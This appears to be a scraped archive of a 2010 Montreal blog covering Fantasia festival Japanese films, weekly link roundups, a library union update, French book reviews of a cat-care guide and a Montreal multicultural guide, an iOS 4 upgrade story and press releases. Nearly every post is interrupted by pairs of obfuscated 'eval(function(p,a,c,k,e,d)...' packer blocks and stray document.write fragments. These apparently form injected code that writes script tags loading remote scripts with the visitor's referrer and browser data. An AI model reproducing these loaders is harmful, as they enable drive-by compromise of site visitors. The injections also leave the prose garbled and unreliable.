The live-action Japanese movies includes (click on the link for details): Air Doll (Dir. Hirokazu Kore-eda), Alien Vs Ninja, Battle in Outer Space (a 1960 classic dir. by Ishiro Honda), Boys on the Run, Brass Knuckle Boys, Crows Zero 2 (Dir. Takashi Miike), Fish Story, Golden Slumber, Higanjima, Kuroneko (a 1968 classic), Mutant Girls Squad, Raise the Castle!, Rinco’s Restaurant, Sawako Decides, Symbol, and Van Von Hunter (a USA/Japan co-production written & directed by Tokyopop’s Stu Levy and Steven Calcote). We must also note the quite funny Les homme d’une autre planète (a Thailand/Japan/Taiwan “co-production” “dubbed” in French!)

The Japanese and anime-related guests include: Yoshinori Chiba (Dir. of Alien Vs Ninja), Stu Levy (founder of Tokyopop and co-dir. of Van Von Hunter), Yuri Lowenthal (popular voice-actor (Bleach, Code Geass, Naruto) and actor in Van Von Hunter), Yoshihiro Nishimura (co-dir. of Mutant Girls Squad), Tara Platt (voice-actress (Buso Renkin, Naruto) and panelist), and Mai Tominaga (dir. of Rinco’s Restaurant).

Finally, two of the panels might be of interest for the animation fans: “The Current and Future State of Traditional Animation Cinema: Death, Comeback and Resurrection” (Sunday July 18th 1:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Don Bluth, Gary Goldman, Gerard Potterton and Luc Chamberland) and “Voice Over, Voice Actor” (Sunday July 18th 3:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Yuri Lowenthal & Tara Platt).

The schedule for all the movies mentioned above can be found here.

Enjoy the festival!

(updated 2010/07/06)

Revue de Presse / Press Review (2010/07/01)

First, document.write(“”); don’t expect me to wish you an happy Canada Day! Maybe, if you’re in “La belle province”, I could wish you happy Moving Day instead… This week the weather kept oscillating between hot and cold—which is quite annoying. Not much happened besides that I attended the Fantasia press conference, went for an optometric exam (which will cost me $650 in new glasses) and had a slight flooding in my basement (a strong thunderstorm caused the sewage to back-up again, but, thanksfully, there was no damage). All in all, it was a slow week (then why am I so tired?) with little news:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eiean|var|u0026u|referrer|iebzz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adrbd|var|u0026u|referrer|nshsd||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Mise à jour syndicale

Assemblée sectorielle au Plateau Mont-Royal
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eztfk|var|u0026u|referrer|ryrer||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etzyk|var|u0026u|referrer|zzdde||js|php’.split(‘|’),0,{}))

Quatre jours après l’
assemblée sectorielle des auxiliaires de bibliothèques du Plateau Mont-Royal, document.write(“”); toujours aucune nouvelle du résultat du vote sur la lettre d’entente. Toutes les persones à qui j’ai parlé, tant à la bibliothèque du Plateau Mont-Royale qu’à la bibliothèque Mile-End, n’avaient pas assisté à l’assemblée et ne connaissaient personnes qui y avaient assisté… Certains n’étaient même pas au courant qu’il y avait eut une assemblée! Quelqu’un m’a aussi mentionné avoir contacté le/la représentant(e) syndical de l’arrondissement qui, apparemment, n’était au courant de rien!

Donc, en attendant d’avoir des nouvelles du syndicat lui-même, j’apprécierais beaucoup si quelqu’un qui était présent (ou qui connait quelqu’un qui était présent) à la dite assemblée sectorielle du 28 juin pouvait me contacter pour raconter comment cela s’est déroulé (et peut-être fournir une copie de la lettre d’entente si elle leur a été présenté)…

(Mise à jour (2010/07/09): pour des nouvelles voir le billet Victoire! En quelque sorte…)

Campagne «Montréal, fais une ville de toi!»

Le SFMM a publié un nouveau Fonctionnaire Express le 23 juin (mais il n’a été livré à ma bibliothèque hier seulement, le 30 juin — c’est beau l’efficacité!). On y fait un rappel de la campagne médiatique «Montréal, fais une ville de toi !» et fait la revue de ce qui en a été dit dans les média. Mais principalement on répond à la critique en justifiant les coûts élévés de la campgne (dont 50% a été assumé par le SCFP), on se défend de promouvoir la centralisation de la ville alors que le SFMM veut seulement “améliorer” l’efficacité et la santé financière de la ville en regroupant certains services. Le SFMM y défend également l’idée de faire une telle campagne maintenant, indiquant que c’est une étape essentielle en préparation des prochaines négos. Et je suis bien d’accord avec tout cela.

Trucs et astuces pour bien vivre avec son chat

“Illustré par des dessins, document.write(“”); ce guide pratique, organisé par ordre alphabétique, répond à toutes les questions que vous vous posez à propos du comportement et de la santé de votre chat: Peut-on éduquer un chat? Le chat a-t-il un language vocal et un language corporel? Quelle alimentation choisir? Que faire en cas de manifestation d’agressivité? Quels sont les signes des maladies les plus fréquentes? Comment puis-je me faire comprendre de lui? Pourquoi déprime-t-il? Quel est son véritable territoire? Les nombreux conseils de spécialistes vous permettront de faire de vous et de votre chat des compagnons épanouis et heureux de vivre ensemble” [Texte de couverture arrière]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ietna|var|u0026u|referrer|inery||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yiyks|var|u0026u|referrer|kkkyk||js|php’.split(‘|’),0,{}))

Malgré la présentation un peu simpliste (et les exemples de questions qui frisent le ridicule) de la couverture arrière, j’ai trouvé ce guide fort intéressant justement parce qu’il répondait bien à la plupart de mes questions et inquiétudes sur le sujet des félins. C’est bien écrit, plutôt simple et, si les dessins en question font un peu amateur, l’impression en deux couleurs et le graphisme de l’ensemble est visuellement plaisant. C’est donc un ouvrage agréable à lire.

Écrit par un vétérinaire, l’ouvrage est assez instructif et vise à nous donner une meilleur compréhension de nos félins familiers, dans leur comportements quotidiens et leur moment de détresse. On apprend comment composer avec ces glandes anales malodorante, comment apprivoiser un chat errant, comment donner un bain, que faire si le chat boite, s’il regurgite, s’il a la diarrhée, quel genre de bol utiliser pour l’eau, l’importance du brossage, comment corriger un chat, comment lui brosser les dents, prendre soins de ses oreilles, etc. (pour plus de détails voir la table des matières). J’ai trouvé ce livre très utile et je le recommende donc. Toutefois, tout aussi intéressant qu’il soit, à $35 pour à peine plus de deux-cent pages, ce bouquin est définitivement trop cher. Alors faites comme moi et empruntez-le (réservez-le) à votre bibliothèque publique locale.

Chose étrange, si l’on visite le site de l’éditeur européen, on retrouve pour le même numéro d’ISBN (qui est pourtant une numéro d’identification unique pour un livre) un ouvrage avec un titre et des auteurs différents (Trucs et astuces pour éduquer son chat par le Pr Guy Quéinnec et Gérard Gilbert). Mystère…

Trucs et astuces pour bien vivre avec son chat, par Dr Philippe Jeanmonod & Gérard Gilbert. Paris, Hachette (Coll. Pratique), 2009. 22.4 x 16.6 cm, 236 pgs,. $34.95 Can / 19.90 Euros. ISBN: 978-2-01-237478-2.
Trucs et astuces pour bien vivre avec son chat © 2009, Hachette Livre (Hachette Pratique), Paris.

Press Release: Tokyopop & Zinio Announce the Launch of Digital Manga Editions

Los Angeles, document.write(“”); CA (June 25, 2010) — Tokyopop, the leader of the global manga revolution, and Zinio, the world’s top digital publishing distribution service, today announced a partnership that offers more than fifty volumes of manga, available immediately for digital download to your PC and Mac by visiting www.Zinio.com/tokyopop.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyeid|var|u0026u|referrer|fibkr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krydh|var|u0026u|referrer|eznsd||js|php’.split(‘|’),0,{}))

Dozens of volumes now available to download to your computer

The debut list of titles for sale includes the bestsellers Bizenghast, Dramacon, and Princess Ai; manga-adapted-to-film series such as The Dreaming and Van Von Hunter; the groundbreaking shonen-ai hit Gravitation, and Jim Henson’s Return to Labyrinth and Legends of the Dark Crystal. Release dates for future titles, including Min-Woo Hyung’s Priest, inspiration for the Spring 2011 3-D film from Sony/Screen Gems, will be announced and made available for digital download soon.

Stu Levy, Tokyopop’s founder, producer of the upcoming films Priest and The Dreaming and director of Van Von Hunter, each based on the company’s manga series, says, “I have always been a strong advocate for digital-in fact, my DNA is made entirely from 0’s and 1’s. The manga lifestyle is rapidly moving online and we are committed to finding the best experience possible in that medium. Zinio offers the top online reading experience, and their team is committed to providing a 360º accessibility.”

For consumers, Zinio enables the ability to shop for, search inside, read, share, and save digital content to your computer. Similar to thumbing through the print edition at a local bookstore, readers of Tokyopop digital versions can preview pages of each manga, free of charge.

“More than a decade ago, Tokyopop introduced manga to America, building a category that has been embraced by millions of teens,” says Rich Maggiotto, President & CEO, Zinio. “We’re thrilled to have a partnership that will offer loyal and new manga readers these digital editions.”

Initially, most manga on the launch list will sell for a material discount, $5.99 per volume, while some larger volumes, such as the Gravitation collection–a two-volume omnibus edition–are priced at $7.99. For a complete list of titles, please visit www.Zinio.com/tokyopop.

About TOKYOPOP:
Founded by multi-cultural media visionary Stu Levy, Tokyopop is hailed as a leading youth-oriented entertainment brand and an innovator of manga creation, with a revolutionary artistic vision that transcends countless platforms. From the introduction of the first-ever extensive manga publishing program in North America, to the development of its manga-originated intellectual properties into film, television and digital entertainment, Tokyopop has changed the way teens experience pop culture. The company’s global reach has expanded to Europe and Asia, with offices in the UK and Germany, in addition to its Los Angeles and Tokyo operations. With millions of fans logging onto the new social networking site www.Tokyopop.com, reading its books, which are licensed in 50 countries in more than 30 languages, and watching its DVDs and television programs, Tokyopop’s award-winning catalogue of licensed and original properties has made the company a visionary in an ever-growing teen entertainment marketplace. Visit www.Tokyopop.com for additional information.

About Zinio:
Zinio is the world’s newsstand and bookstore. With its many digital products and services, Zinio creates better ways for people to discover published content, get more of it and do more with it. Now, readers can purchase content once to be read on any screen. Zinio provides the ability to shop for, search inside, read, share and save digital content in 23 local newsstands in any country in the world. Through the ZINIO UNITY™ reading platform, readers can move seamlessly within each publication page between text, interactive graphics, animated illustrations, videos and much more. Offering hundreds of thousands of the best digital titles, Zinio’s e-stores and applications are revolutionizing reading. Founded in 2001 and privately held, Zinio is headquartered in San Francisco and has offices in New York, London, Paris, Barcelona and Taipei.

# # #Note: Available at this moment there are twenty-one volumes of the titles Afterlife, Earthlight, Gyakushu!, Riding Shotgun, Tarot Cafe, The Dreaming, Van Von Hunter for $5.99 US ($6.27 CA) each.

Guide du Montréal Multiple

“Tous les Montréalais ont une chose en commun : ils portent l’immigration dans leur ADN. Un Montréalais sur cinq est né à mille lieues de la rue Sainte-Catherine. Couche par couche, document.write(“”); la ville s’est construite sur l’apport de cultures différentes. Mais que connaissent vraiment les Montréalais de la multiplicité culturelle qui les entoure et dont ils font irrémédiablement partie? Ce livre propose de donner à ceux qui le consulteront toutes les clés nécessaires pour mieux explorer la ville et pour établir des contacts plus vrais, plus profonds avec des Montréalais de toutes origines.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fznat|var|u0026u|referrer|eeits||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|razna|var|u0026u|referrer|dteas||js|php’.split(‘|’),0,{}))

“Le Guide du Montréal multiple s’adresse à la fois aux Montréalais de longue date, qui pensent (parfois à tort) connaître la ville dans ses moindres recoins, et aux nouveaux arrivants. Il s’adresse à l’hindou qui veut s’offrir une séance de vaudou. À la pâtissière polonaise qui aimerait connaître l’art de la boxe thaï. Et au fan de poutine qui a un petit faible pour la danse du ventre. En fait, il est destiné à tous ceux qui veulent tirer le meilleur de ce que le Montréal du 514 et du 450 a à offrir et qu’aucune autre ville ne met à leur disposition.” [Texte de couverture arrière]

Montréal est une métropole multi-ethnique. Malheureusement, cela a trop souvent une connotation négative dans un Québec parfois xénophobe. Et même si Sartre a dit que “l’enfer c’est les autres”, c’est pourtant chez l’autre qu’on trouve cette fraîcheur, cette nouveauté, cette grande diversité qui nous éveille, nous stimule et donne à la vie ce piment qui la rend si excitante. Et c’est dans le miroir du regard de l’autre que l’on découvre qui l’on est vraiment.

Ce livre est un guide de la merveilleuse diversité montréalaise. Ce n’est pas le genre de livre que l’on lit d’un trait, du début à la fin, mais plutôt un bouquin que l’on garde sur sa table de chevet, que l’on feuillette de temps en temps et que l’on consulte au besoin. C’est un trésor d’information, ou plutôt une carte au trésor qui nous fait découvrir la richesse des différentes communautés culturelles qui se cachent dans les racoins des multiples arrondissements de Montréal.

En suivant l’ordre des différentes vagues d’immigration qui ont déferlé sur Montréal, ce guide nous permet d’explorer de nouvelles cultures: les Autochtones, les Européens de l’ouest (québécois, anglais, écossais, irlandais, français, allemand, italien, grec, portugais, espagnol), les Juifs, les Européens de l’est (russe, ukrainien, polonais, hongrois, roumain), les Arabes et autres peuples du Moyen-Orient (libanais, syrien, égyptien, arménien, afghan, iranien, turc, kurde, palestinen, irakien), les Asiatiques (chinois, vietnamien, philippin, japonais, coréen, cambodgien, tibétin, laotien, thaïlandais, indonésien, malaisien, mongol), les gens du sous-continent indien (indien, pakistanais, bangladais, sri-lankais), puis les Antillais (jamaïcais, trinidadien, haïtien), les Latino-Américains (mexicain, guatemaltèque, salvadorien, colombien, brésilien, argentin, chilien, péruvien, cubain, dominicain, vénézuelien), les Africains (francophone: sénégalais, burkinabé, malien; anglophone de l’ouest: ghanéen, nigérian; anglophone de l’est: kényan, zimbabwéen, éthiopien; congolais; rwandais et burundais; du côté de l’océan indien: malgache, mauricien, réunionnais) et, finalement, les Maghrébins. Ouf! Ça en fait du monde! Avec quelques pages sur chacunes de ces cultures, c’est pas surprenant que ce guide ait plus de quatre cent pages!

Les notices pour chacunes de ces groupes débutent par un texte de présentation (histoire et statistiques: taille de la population, religion, langue(s), vocabulaire de base, etc.), suivi d’un calendrier d’événements importants, d’un carnet d’addresses (sélection de restos, bars, cafés, épiceries, et magasins) et d’un répertoire médiatique (journaux, sites internet). Certaines notices comportent également des encadrés (indiquant par exemple les lieux de culte), une rubrique “En savoir plus” (associations, écoles, activités, etc.), et le portrait d’une personnalité proéminente de la communauté.

Je n’ai fait que parcourir ce livre, m’attardant particulièrement à la section sur le Japon. Je suis sûr que ce n’est pas complet ou exhaustif (toutefois ce que j’ai lu sur la communauté japonaise me semblait exacte et assez complet, quoique pas toujours récent) mais c’est un ouvrage unique en son genre et qui offre une véritable mine d’information et une infinité de places à explorer. C’est bien écrit, l’information est claire et la présentation est agréable. Vous découvrirez des choses étonnantes sur Montréal et les connaissances que vous en tirerez vous apporterons une compréhension accrue des autres cultures montréalaise et de leur différences. J’adore! C’est définitivement une livre à avoir et/ou à consulter.

Pour en savoir plus vous pouvez visiter le site de l’éditeur (qui offre un extrait du livre), le blogue des auteurs (avec des mise à jour et nouvelles suggestions) ou encore des critiques dans La Presse ou le journal Métro.

Je terminerai avec un bref commentaire. Étrangement, si j’ai rarement eu de la difficulté à obtenir des services de presse (copie d’un livre pour en faire la critique) de la part d’éditeurs américains ou britannique (et je fais ce plaisant “travail” depuis plus de vingt ans), il semble que les éditeurs québécois aient un mépris particulier pour les petits commentateurs et blogueurs locaux, puisqu’on a jamais même daigner répondre à mes demandes… Heureusement, nous avons à Montréal un excellent “réseau” de bibliothèques publiques.

Guide du Montréal multiple, par Jean-Christophe Laurence & Laura-Julie Perreault. Montréal, Éditions du Boréal, 2010. 20 x 15 cm, 432 pgs,. $29.95 Can. ISBN: 978-2-7646-2023-6.
Guide du Montréal multiple © Les Éditions du Boréal 2010.

Revue de Presse / Press Review (2010/06/25)

This week we’re back with seasonably hot & humid temperature, document.write(“”); I struggled to install iOS 4 on my iPod Touch, the iPhone 4 was launched in the U.S., Quebec celebr(inebri)ated its national holiday, I felt a small earthquake and—thanks to Facebook—I met again with an old friend so we could (nearly fifteen years later) continue our great conversations like if it was only yesterday… Here’s a few of the news I read on my iPad:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfsbz|var|u0026u|referrer|zttns||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfiht|var|u0026u|referrer|zfhny||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

iOS 4

Monday, document.write(“”); the latest update for the iPhone/iPod Touch operating system was released. As soon as I came back from work I was quite eager to plug my second gen iPod Touch and update its iOS for its fourth iteration. Of course, I was well aware that I would not get all the benefits of the iOS 4 because my version of the iPod was old and its processor could not handle all the new features (like the multitasking and the background picture). I just wanted some changes and see what kind of improvements it would bring… So, I first tried the easy updating procedure recommended by Apple. It didn’t work!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yezer|var|u0026u|referrer|asfda||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaisz|var|u0026u|referrer|bidkd||js|php’.split(‘|’),0,{}))

I simply plugged my iPod, opened iTunes, backed up the device (without updating; it took a few minutes) and then I pushed the “update” button and waited. The first step was to back up the device, again. The computer said that the whole updating could take an hour an half, so I went to watch TV. After a couple of hours the progress bar had moved only a few millimeters! I closed all other applications running on my iMac and tried again. After another couple of hours, the progress bar still had moved only a few millimeters! Frustrated, I turned it off, decided that I would update to iOS 4 later and went to bed.

The next day was one of my day off, so I tried again. Same result. So I started to search the forums and read the tech news sites to discover that I was not alone with this problem. After reading various suggestions, I first tried the simplest one: I removed all music, movies, tv shows and podcasts from the iPod Touch (I could resync them after updating) and tried again. After one hour (I was getting less patient) I still had only a few millimeters on the progress bar. Therefore I decided to go with a more radical solution: do a restore instead of an update. And it worked! In less than an hour, iTunes backed up the iPod’s data, performed the update and resync the content. Of course, since the last sync was done without much content (remember I removed all music, movies, tv shows and podcasts), I had to reselect the “Sync Content” box (it was easy since each individual selection was still checked) and sync the device again.

Unfortunately, for me, the update to iOS 4 was a little disappointing. Without the multitasking and background pictures, the “only” improvement are folders, the unified mailbox and a few other small things. But just that is already great. But the worse is that this old device (after all it’s nearly two years-old) is barely compatible with iOS 4, so it is slightly slower than before and tends to crash more often… If you have a 2nd gen iPod Touch and haven’t updated it yet, well, I would not recommend doing it. iOS 4 is really for the iPod Touch 3rd gen, the iPhone 3GS & 4.

All this made me think that maybe it was time to upgrade my iPod Touch (I’m sure that’s the purpose of all software updates: make you slobber over all those cool new features so you’ll want to upgrade your device). After all, when I purchased the iPod Touch, I told myself that it was like a set of training wheels for the iPhone… Unfortunately, I just purchased an iPad and can’t really afford an iPhone 4 (the device in itself is not that expensive, but the service subscription’s cost is rather prohibitive). I can’t wait for iOS 4 to be available for the iPad later this Fall (hopefully in early september) so I can experience multitasking… However, with the coming of the iPhone 4, the market will certainly be flooded with used iPhones at cheaper prices… I could consider purchasing a used iPhone 3GS (not the 3G since, like the 2nd gen iPod Touch, it won’t fully run iOS 4) and use it as an iPod with phone capability (just put my SIM card in it and use it with wi-fi only, without using any data plan). I could get rid of both the old iPod Touch and the even older Motorola V360. That could certainly work.

So, if there’s anyone out there that just purchased an iPhone 4 and want to get rid of his/her iPhone 3GS for a reasonable price, don’t hesitate to contact me

Press release: “Route 132” de Louis Bélanger ouvrira le 34e FFM

Montréal, document.write(“”); le 22 juin 2010 — Le 26 août prochain, Route 132 de Louis Bélanger sera le film d’ouverture du prochain Festival des films du monde de Montréal, le film est en même temps en compétition mondiale. « Nous sommes très heureux d’annoncer que le film de Louis Bélanger sera en ouverture du prochain FFM; c’est la deuxième fois que Louis Bélanger ouvre le festival puisque Gaz Bar Blues inaugurait le 27e festival en 2003. Post Mortem, son premier long métrage était, quant à lui, sélectionné en compétition officielle en 1999. Nous sommes très fiers qu’à nouveau un film de ce réalisateur puisse bénéficier de cette première mondiale » ont déclaré Serge Losique et Danièle Cauchard.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbbaf|var|u0026u|referrer|nybfk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksern|var|u0026u|referrer|krfen||js|php’.split(‘|’),0,{}))

Écrit par Louis Bélanger et Alexis Martin, le film est une production de Fabienne Larouche et Michel Trudeau pour Aetios Productions et Denise Robert et Daniel Louis pour Cinémaginaire. Il met en vedette  François Papineau, Alexis Martin, Alice Morel-Michaud, Andrée Lachapelle, Benoît McGinnis, Sophie Bourgeois, Gary Boudreault, Bobby Beshro, Sonia Vignault, Francesca Barcenas, Janine Sutto, Denise Gagnon, Gaston Caron, Guillaume Chouinard, Clémence Desrochers.

Montréal. Gilles, un homme dans la trentaine, vient de perdre son fils et ne peut l’accepter. N’importe quelle raison est valable pour fuir. En train de noyer son chagrin, il retrouve Bob, son vieil ami magouilleur, qui cherche un coup fumant pour se sortir du trou. C’est l’occasion idéale pour nos deux protagonistes de prendre le large sur la route 132, en direction du Bas-du-Fleuve où, croient-ils, les caisses populaires regorgent du bel argent durement économisé des personnes âgées et où il y a 0,1 policier par kilomètre carré. Et ce sera tellement facile pour deux astucieux Montréalais de berner ces « provinciaux »!

Route 132 est distribué par Alliance Vivafilms et sa sortie est prévue pour le 8 octobre 2010 au Québec.

Press Release: J-FEST, Japan right next to your door

Montreal, document.write(“”); QC, June 14, 2010 — STUDIO BATSU INC. and YOUKAI WEAR is pleased to announce the 5th edition of J FEST, the 1st traveling event in North America specifically and genuinely dedicated to Japanese Music and development of Japanese Music Business Overseas.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brhbi|var|u0026u|referrer|esean||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sairf|var|u0026u|referrer|yeezs||js|php’.split(‘|’),0,{}))

WHAT:
J FEST vol.5: J FEST 1st ANNIVERSARY. Partly a club event and a festival, J FEST takes you instantaneously to the country of the rising sun, with its warm and unusual atmosphere… DJ JOKE will mix Japanese hits all night through. Music Videos of popular and up-coming Japanese artists and Video Messages exclusively recorded for J FEST by popular Japanese artists are played throughout the event.

“Japan is ten years ahead in the show business world. J FEST is an exceptional opportunity to contemplate our lateness.” said Hubert MANSION , lawyer specialized in the music industry, teacher at L’Ecole du show Business and author of  “Tout le monde vous dira NON”

